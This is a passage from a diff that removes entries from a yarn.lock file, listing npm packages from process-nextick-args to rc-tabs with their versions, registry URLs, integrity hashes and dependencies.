-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-process@^0.11.10:
-  version "0.11.10"
-  resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
-  integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-progress@1.1.8:
-  version "1.1.8"
-  resolved "https://registry.yarnpkg.com/progress/-/progress-1.1.8.tgz#e260c78f6161cdd9b0e56cc3e0a85de17c7a57be"
-  integrity sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=
-
-progress@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
-  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
-
-promise-inflight@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
-  integrity sha1-mEcocL8igTL8vdhoEputEsPAKeM=
-
-promise-to-callback@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/promise-to-callback/-/promise-to-callback-1.0.0.tgz#5d2a749010bfb67d963598fcd3960746a68feef7"
-  integrity sha1-XSp0kBC/tn2WNZj805YHRqaP7vc=
-  dependencies:
-    is-fn "^1.0.0"
-    set-immediate-shim "^1.0.1"
-
-promise@^7.1.1:
-  version "7.3.1"
-  resolved "https://registry.yarnpkg.com/promise/-/promise-7.3.1.tgz#064b72602b18f90f29192b8b1bc418ffd1ebd3bf"
-  integrity sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==
-  dependencies:
-    asap "~2.0.3"
-
-promise@^8.0.3:
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/promise/-/promise-8.1.0.tgz#697c25c3dfe7435dd79fcd58c38a135888eaf05e"
-  integrity sha512-W04AqnILOL/sPRXziNicCjSNRruLAuIHEOVBazepu0545DDNGYHz7ar9ZgZ1fMU8/MA4mVxp5rkBWRi6OXIy3Q==
-  dependencies:
-    asap "~2.0.6"
-
-promise@~7.0.1:
-  version "7.0.4"
-  resolved "https://registry.yarnpkg.com/promise/-/promise-7.0.4.tgz#363e84a4c36c8356b890fed62c91ce85d02ed539"
-  integrity sha1-Nj6EpMNsg1a4kP7WLJHOhdAu1Tk=
-  dependencies:
-    asap "~2.0.3"
-
-prompts@^2.0.1:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.1.tgz#befd3b1195ba052f9fd2fde8a486c4e82ee77f61"
-  integrity sha512-EQyfIuO2hPDsX1L/blblV+H7I0knhgAd82cVneCwcdND9B8AuCDuRcBH6yIcG4dFzlOUqbazQqwGjx5xmsNLuQ==
-  dependencies:
-    kleur "^3.0.3"
-    sisteransi "^1.0.5"
-
-prop-types@^15.5.10, prop-types@^15.5.6, prop-types@^15.6.0, prop-types@^15.6.2, prop-types@^15.7.2:
-  version "15.7.2"
-  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
-  integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
-  dependencies:
-    loose-envify "^1.4.0"
-    object-assign "^4.1.1"
-    react-is "^16.8.1"
-
-protocol-buffers-schema@^3.3.1:
-  version "3.5.1"
-  resolved "https://registry.yarnpkg.com/protocol-buffers-schema/-/protocol-buffers-schema-3.5.1.tgz#8388e768d383ac8cbea23e1280dfadb79f4122ad"
-  integrity sha512-YVCvdhxWNDP8/nJDyXLuM+UFsuPk4+1PB7WGPVDzm3HTHbzFLxQYeW2iZpS4mmnXrQJGBzt230t/BbEb7PrQaw==
-
-protons@^1.0.2:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/protons/-/protons-1.2.1.tgz#5f1e0db8b2139469cd1c3b4e332a4c2d95d0a218"
-  integrity sha512-2oqDyc/SN+tNcJf8XxrXhYL7sQn2/OMl8mSdD7NVGsWjMEmAbks4eDVnCyf0vAoRbBWyWTEXWk4D8XfuKVl3zg==
-  dependencies:
-    buffer "^5.5.0"
-    protocol-buffers-schema "^3.3.1"
-    signed-varint "^2.0.1"
-    varint "^5.0.0"
-
-proxy-addr@~2.0.5:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
-  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
-  dependencies:
-    forwarded "0.2.0"
-    ipaddr.js "1.9.1"
-
-prr@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
-  integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
-
-psl@^1.1.28:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-  integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==
-
-public-encrypt@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
-  integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==
-  dependencies:
-    bn.js "^4.1.0"
-    browserify-rsa "^4.0.0"
-    create-hash "^1.1.0"
-    parse-asn1 "^5.0.0"
-    randombytes "^2.0.1"
-    safe-buffer "^5.1.2"
-
-pump@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909"
-  integrity sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pumpify@^1.3.3, pumpify@^1.3.5:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/pumpify/-/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce"
-  integrity sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==
-  dependencies:
-    duplexify "^3.6.0"
-    inherits "^2.0.3"
-    pump "^2.0.0"
-
-punycode@1.3.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
-  integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@^1.2.4:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
-  integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
-
-punycode@^2.1.0, punycode@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-pure-color@^1.2.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/pure-color/-/pure-color-1.3.0.tgz#1fe064fb0ac851f0de61320a8bf796836422f33e"
-  integrity sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=
-
-q@^1.1.2:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
-  integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
-
-qr.js@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/qr.js/-/qr.js-0.0.0.tgz#cace86386f59a0db8050fa90d9b6b0e88a1e364f"
-  integrity sha1-ys6GOG9ZoNuAUPqQ2baw6IoeNk8=
-
-qrcode.react@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/qrcode.react/-/qrcode.react-1.0.1.tgz#2834bb50e5e275ffe5af6906eff15391fe9e38a5"
-  integrity sha512-8d3Tackk8IRLXTo67Y+c1rpaiXjoz/Dd2HpcMdW//62/x8J1Nbho14Kh8x974t9prsLHN6XqVgcnRiBGFptQmg==
-  dependencies:
-    loose-envify "^1.4.0"
-    prop-types "^15.6.0"
-    qr.js "0.0.0"
-
-qrcode@1.4.4:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/qrcode/-/qrcode-1.4.4.tgz#f0c43568a7e7510a55efc3b88d9602f71963ea83"
-  integrity sha512-oLzEC5+NKFou9P0bMj5+v6Z40evexeE29Z9cummZXZ9QXyMr3lphkURzxjXgPJC5azpxcshoDWV1xE46z+/c3Q==
-  dependencies:
-    buffer "^5.4.3"
-    buffer-alloc "^1.2.0"
-    buffer-from "^1.1.1"
-    dijkstrajs "^1.0.1"
-    isarray "^2.0.1"
-    pngjs "^3.3.0"
-    yargs "^13.2.4"
-
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
-
-qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
-
-query-string@6.13.5:
-  version "6.13.5"
-  resolved "https://registry.yarnpkg.com/query-string/-/query-string-6.13.5.tgz#99e95e2fb7021db90a6f373f990c0c814b3812d8"
-  integrity sha512-svk3xg9qHR39P3JlHuD7g3nRnyay5mHbrPctEBDUxUkHRifPHXJDhBUycdCC0NBjXoDf44Gb+IsOZL1Uwn8M/Q==
-  dependencies:
-    decode-uri-component "^0.2.0"
-    split-on-first "^1.0.0"
-    strict-uri-encode "^2.0.0"
-
-query-string@^4.1.0:
-  version "4.3.4"
-  resolved "https://registry.yarnpkg.com/query-string/-/query-string-4.3.4.tgz#bbb693b9ca915c232515b228b1a02b609043dbeb"
-  integrity sha1-u7aTucqRXCMlFbIosaArYJBD2+s=
-  dependencies:
-    object-assign "^4.1.0"
-    strict-uri-encode "^1.0.0"
-
-querystring-es3@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
-  integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-  integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-querystringify@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
-  integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
-
-queue-microtask@^1.2.2:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
-  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
-
-raf@^3.4.1:
-  version "3.4.1"
-  resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
-  integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==
-  dependencies:
-    performance-now "^2.1.0"
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.0.6, randombytes@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
-  integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
-  dependencies:
-    safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
-  integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
-  dependencies:
-    randombytes "^2.0.5"
-    safe-buffer "^5.1.0"
-
-range-parser@^1.2.1, range-parser@~1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
-
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
-  dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    unpipe "1.0.0"
-
-rc-align@^4.0.0:
-  version "4.0.9"
-  resolved "https://registry.yarnpkg.com/rc-align/-/rc-align-4.0.9.tgz#46d8801c4a139ff6a65ad1674e8efceac98f85f2"
-  integrity sha512-myAM2R4qoB6LqBul0leaqY8gFaiECDJ3MtQDmzDo9xM9NRT/04TvWOYd2YHU9zvGzqk9QXF6S9/MifzSKDZeMw==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    dom-align "^1.7.0"
-    rc-util "^5.3.0"
-    resize-observer-polyfill "^1.5.1"
-
-rc-cascader@~1.4.0:
-  version "1.4.3"
-  resolved "https://registry.yarnpkg.com/rc-cascader/-/rc-cascader-1.4.3.tgz#d91b0dcf8157b60ebe9ec3e58b4db054d5299464"
-  integrity sha512-Q4l9Mv8aaISJ+giVnM9IaXxDeMqHUGLvi4F+LksS6pHlaKlN4awop/L+IMjIXpL+ug/ojaCyv/ixcVopJYYCVA==
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-    array-tree-filter "^2.1.0"
-    rc-trigger "^5.0.4"
-    rc-util "^5.0.1"
-    warning "^4.0.1"
-
-rc-checkbox@~2.3.0:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/rc-checkbox/-/rc-checkbox-2.3.2.tgz#f91b3678c7edb2baa8121c9483c664fa6f0aefc1"
-  integrity sha512-afVi1FYiGv1U0JlpNH/UaEXdh6WUJjcWokj/nUN2TgG80bfG+MDdbfHKlLcNNba94mbjy2/SXJ1HDgrOkXGAjg==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-
-rc-collapse@~3.1.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/rc-collapse/-/rc-collapse-3.1.1.tgz#2421d454e85781d1cf2f04f906918e0677d779e6"
-  integrity sha512-/oetKApTHzGGeR8Q8vD168EXkCs2MpEIrURGyy2D+LrrJd29LY/huuIMvOiJoSV6W3bcGhJqIdgHtg1Dxn1smA==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-motion "^2.3.4"
-    rc-util "^5.2.1"
-    shallowequal "^1.1.0"
-
-rc-dialog@~8.5.0, rc-dialog@~8.5.1:
-  version "8.5.2"
-  resolved "https://registry.yarnpkg.com/rc-dialog/-/rc-dialog-8.5.2.tgz#530e289c25a31c15c85a0e8a4ba3f33414bff418"
-  integrity sha512-3n4taFcjqhTE9uNuzjB+nPDeqgRBTEGBfe46mb1e7r88DgDo0lL4NnxY/PZ6PJKd2tsCt+RrgF/+YeTvJ/Thsw==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.6"
-    rc-motion "^2.3.0"
-    rc-util "^5.6.1"
-
-rc-drawer@~4.3.0:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/rc-drawer/-/rc-drawer-4.3.1.tgz#356333a7af01b777abd685c96c2ce62efb44f3f3"
-  integrity sha512-GMfFy4maqxS9faYXEhQ+0cA1xtkddEQzraf6SAdzWbn444DrrLogwYPk1NXSpdXjLCLxgxOj9MYtyYG42JsfXg==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.6"
-    rc-util "^5.7.0"
-
-rc-dropdown@^3.2.0, rc-dropdown@~3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/rc-dropdown/-/rc-dropdown-3.2.0.tgz#da6c2ada403842baee3a9e909a0b1a91ba3e1090"
-  integrity sha512-j1HSw+/QqlhxyTEF6BArVZnTmezw2LnSmRk6I9W7BCqNCKaRwleRmMMs1PHbuaG8dKHVqP6e21RQ7vPBLVnnNw==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.6"
-    rc-trigger "^5.0.4"
-
-rc-field-form@~1.20.0:
-  version "1.20.1"
-  resolved "https://registry.yarnpkg.com/rc-field-form/-/rc-field-form-1.20.1.tgz#d1c51888107cf075b42704b7b575bef84c359291"
-  integrity sha512-f64KEZop7zSlrG4ef/PLlH12SLn6iHDQ3sTG+RfKBM45hikwV1i8qMf53xoX12NvXXWg1VwchggX/FSso4bWaA==
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-    async-validator "^3.0.3"
-    rc-util "^5.8.0"
-
-rc-image@~5.2.4:
-  version "5.2.4"
-  resolved "https://registry.yarnpkg.com/rc-image/-/rc-image-5.2.4.tgz#ff1059f937bde6ca918c6f1beb316beba911f255"
-  integrity sha512-kWOjhZC1OoGKfvWqtDoO9r8WUNswBwnjcstI6rf7HMudz0usmbGvewcWqsOhyaBRJL9+I4eeG+xiAoxV1xi75Q==
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    classnames "^2.2.6"
-    rc-dialog "~8.5.0"
-    rc-util "^5.0.6"
-
-rc-input-number@~7.1.0:
-  version "7.1.4"
-  resolved "https://registry.yarnpkg.com/rc-input-number/-/rc-input-number-7.1.4.tgz#9d7410c91ff8dc6384d0233c20df278982989f9a"
-  integrity sha512-EG4iqkqyqzLRu/Dq+fw2od7nlgvXLEatE+J6uhi3HXE1qlM3C7L6a7o/hL9Ly9nimkES2IeQoj3Qda3I0izj3Q==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.5"
-    rc-util "^5.9.8"
-
-rc-mentions@~1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/rc-mentions/-/rc-mentions-1.6.1.tgz#46035027d64aa33ef840ba0fbd411871e34617ae"
-  integrity sha512-LDzGI8jJVGnkhpTZxZuYBhMz3avcZZqPGejikchh97xPni/g4ht714Flh7DVvuzHQ+BoKHhIjobHnw1rcP8erg==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.6"
-    rc-menu "^9.0.0"
-    rc-textarea "^0.3.0"
-    rc-trigger "^5.0.4"
-    rc-util "^5.0.1"
-
-rc-menu@^9.0.0, rc-menu@~9.0.9:
-  version "9.0.11"
-  resolved "https://registry.yarnpkg.com/rc-menu/-/rc-menu-9.0.11.tgz#5c6c994a3df70f1e69ec7996ceb5067b2c335d45"
-  integrity sha512-lwE6Zrs3ZpK9XKuk8+AOsQI3QXQFybzANvTNU2DIZQuqi53aEJIzNtibfq9j68DosKhKcxV++GcK9K6pL9Ku8A==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-motion "^2.4.3"
-    rc-overflow "^1.2.0"
-    rc-trigger "^5.1.2"
-    rc-util "^5.12.0"
-    shallowequal "^1.1.0"
-
-rc-motion@^2.0.0, rc-motion@^2.0.1, rc-motion@^2.2.0, rc-motion@^2.3.0, rc-motion@^2.3.4, rc-motion@^2.4.0, rc-motion@^2.4.3:
-  version "2.4.4"
-  resolved "https://registry.yarnpkg.com/rc-motion/-/rc-motion-2.4.4.tgz#e995d5fa24fc93065c24f714857cf2677d655bb0"
-  integrity sha512-ms7n1+/TZQBS0Ydd2Q5P4+wJTSOrhIrwNxLXCZpR7Fa3/oac7Yi803HDALc2hLAKaCTQtw9LmQeB58zcwOsqlQ==
-  dependencies:
-    "@babel/runtime" "^7.11.1"
-    classnames "^2.2.1"
-    rc-util "^5.2.1"
-
-rc-notification@~4.5.7:
-  version "4.5.7"
-  resolved "https://registry.yarnpkg.com/rc-notification/-/rc-notification-4.5.7.tgz#265e6e6a0c1a0fac63d6abd4d832eb8ff31522f1"
-  integrity sha512-zhTGUjBIItbx96SiRu3KVURcLOydLUHZCPpYEn1zvh+re//Tnq/wSxN4FKgp38n4HOgHSVxcLEeSxBMTeBBDdw==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-motion "^2.2.0"
-    rc-util "^5.0.1"
-
-rc-overflow@^1.0.0, rc-overflow@^1.2.0:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/rc-overflow/-/rc-overflow-1.2.2.tgz#95b0222016c0cdbdc0db85f569c262e7706a5f22"
-  integrity sha512-X5kj9LDU1ue5wHkqvCprJWLKC+ZLs3p4He/oxjZ1Q4NKaqKBaYf5OdSzRSgh3WH8kSdrfU8LjvlbWnHgJOEkNQ==
-  dependencies:
-    "@babel/runtime" "^7.11.1"
-    classnames "^2.2.1"
-    rc-resize-observer "^1.0.0"
-    rc-util "^5.5.1"
-
-rc-pagination@~3.1.6:
-  version "3.1.6"
-  resolved "https://registry.yarnpkg.com/rc-pagination/-/rc-pagination-3.1.6.tgz#db3c06e50270b52fe272ac527c1fdc2c8d28af1f"
-  integrity sha512-Pb2zJEt8uxXzYCWx/2qwsYZ3vSS9Eqdw0cJBli6C58/iYhmvutSBqrBJh51Z5UzYc5ZcW5CMeP5LbbKE1J3rpw==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-
-rc-picker@~2.5.10:
-  version "2.5.12"
-  resolved "https://registry.yarnpkg.com/rc-picker/-/rc-picker-2.5.12.tgz#f5743276d2b29ec56a03b72b659332c06e4bb983"
-  integrity sha512-rUqEtpNZdPTnnCMvWWioFFcJiq110Bq7fKAS37NY4Rrd3DoXZUwyfjeCrvCWgLLO9XeYDnDr88+rhhplY7HBNA==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-    date-fns "^2.15.0"
-    moment "^2.24.0"
-    rc-trigger "^5.0.4"
-    rc-util "^5.4.0"
-    shallowequal "^1.1.0"
-
-rc-progress@~3.1.0:
-  version "3.1.4"
-  resolved "https://registry.yarnpkg.com/rc-progress/-/rc-progress-3.1.4.tgz#66040d0fae7d8ced2b38588378eccb2864bad615"
-  integrity sha512-XBAif08eunHssGeIdxMXOmRQRULdHaDdIFENQ578CMb4dyewahmmfJRyab+hw4KH4XssEzzYOkAInTLS7JJG+Q==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.6"
-
-rc-rate@~2.9.0:
-  version "2.9.1"
-  resolved "https://registry.yarnpkg.com/rc-rate/-/rc-rate-2.9.1.tgz#e43cb95c4eb90a2c1e0b16ec6614d8c43530a731"
-  integrity sha512-MmIU7FT8W4LYRRHJD1sgG366qKtSaKb67D0/vVvJYR0lrCuRrCiVQ5qhfT5ghVO4wuVIORGpZs7ZKaYu+KMUzA==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.5"
-    rc-util "^5.0.1"
-
-rc-resize-observer@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/rc-resize-observer/-/rc-resize-observer-1.0.0.tgz#97fb89856f62fec32ab6e40933935cf58e2e102d"
-  integrity sha512-RgKGukg1mlzyGdvzF7o/LGFC8AeoMH9aGzXTUdp6m+OApvmRdUuOscq/Y2O45cJA+rXt1ApWlpFoOIioXL3AGg==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-    rc-util "^5.0.0"
-    resize-observer-polyfill "^1.5.1"
-
-rc-select@^12.0.0, rc-select@~12.1.6:
-  version "12.1.10"
-  resolved "https://registry.yarnpkg.com/rc-select/-/rc-select-12.1.10.tgz#66ce43192751190b7c0e9a0ab1ef79606421ce30"
-  integrity sha512-LQdUhYncvcULlrNcAShYicc1obPtnNK7/rvCD+YCm0b2BLLYxl3M3b/HOX6o+ppPej+yZulkUPeU6gcgcp9nag==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-motion "^2.0.1"
-    rc-overflow "^1.0.0"
-    rc-trigger "^5.0.4"
-    rc-util "^5.9.8"
-    rc-virtual-list "^3.2.0"
-
-rc-slider@~9.7.1:
-  version "9.7.2"
-  resolved "https://registry.yarnpkg.com/rc-slider/-/rc-slider-9.7.2.tgz#282f571f7582752ebaa33964e441184f4e79ad74"
-  integrity sha512-mVaLRpDo6otasBs6yVnG02ykI3K6hIrLTNfT5eyaqduFv95UODI9PDS6fWuVVehVpdS4ENgOSwsTjrPVun+k9g==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.5"
-    rc-tooltip "^5.0.1"
-    rc-util "^5.0.0"
-    shallowequal "^1.1.0"
-
-rc-steps@~4.1.0:
-  version "4.1.3"
-  resolved "https://registry.yarnpkg.com/rc-steps/-/rc-steps-4.1.3.tgz#208580e22db619e3830ddb7fa41bc886c65d9803"
-  integrity sha512-GXrMfWQOhN3sVze3JnzNboHpQdNHcdFubOETUHyDpa/U3HEKBZC3xJ8XK4paBgF4OJ3bdUVLC+uBPc6dCxvDYA==
-  dependencies:
-    "@babel/runtime" "^7.10.2"
-    classnames "^2.2.3"
-    rc-util "^5.0.1"
-
-rc-switch@~3.2.0:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/rc-switch/-/rc-switch-3.2.2.tgz#d001f77f12664d52595b4f6fb425dd9e66fba8e8"
-  integrity sha512-+gUJClsZZzvAHGy1vZfnwySxj+MjLlGRyXKXScrtCTcmiYNPzxDFOxdQ/3pK1Kt/0POvwJ/6ALOR8gwdXGhs+A==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-    rc-util "^5.0.1"
-
-rc-table@~7.15.1:
-  version "7.15.2"
-  resolved "https://registry.yarnpkg.com/rc-table/-/rc-table-7.15.2.tgz#f6ab73b2cfb1c76f3cf9682c855561423c6b5b22"
-  integrity sha512-TAs7kCpIZwc2mtvD8CMrXSM6TqJDUsy0rUEV1YgRru33T8bjtAtc+9xW/KC1VWROJlHSpU0R0kXjFs9h/6+IzQ==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.5"
-    rc-resize-observer "^1.0.0"
-    rc-util "^5.13.0"
-    shallowequal "^1.1.0"
-
-rc-tabs@~11.9.1:
-  version "11.9.1"
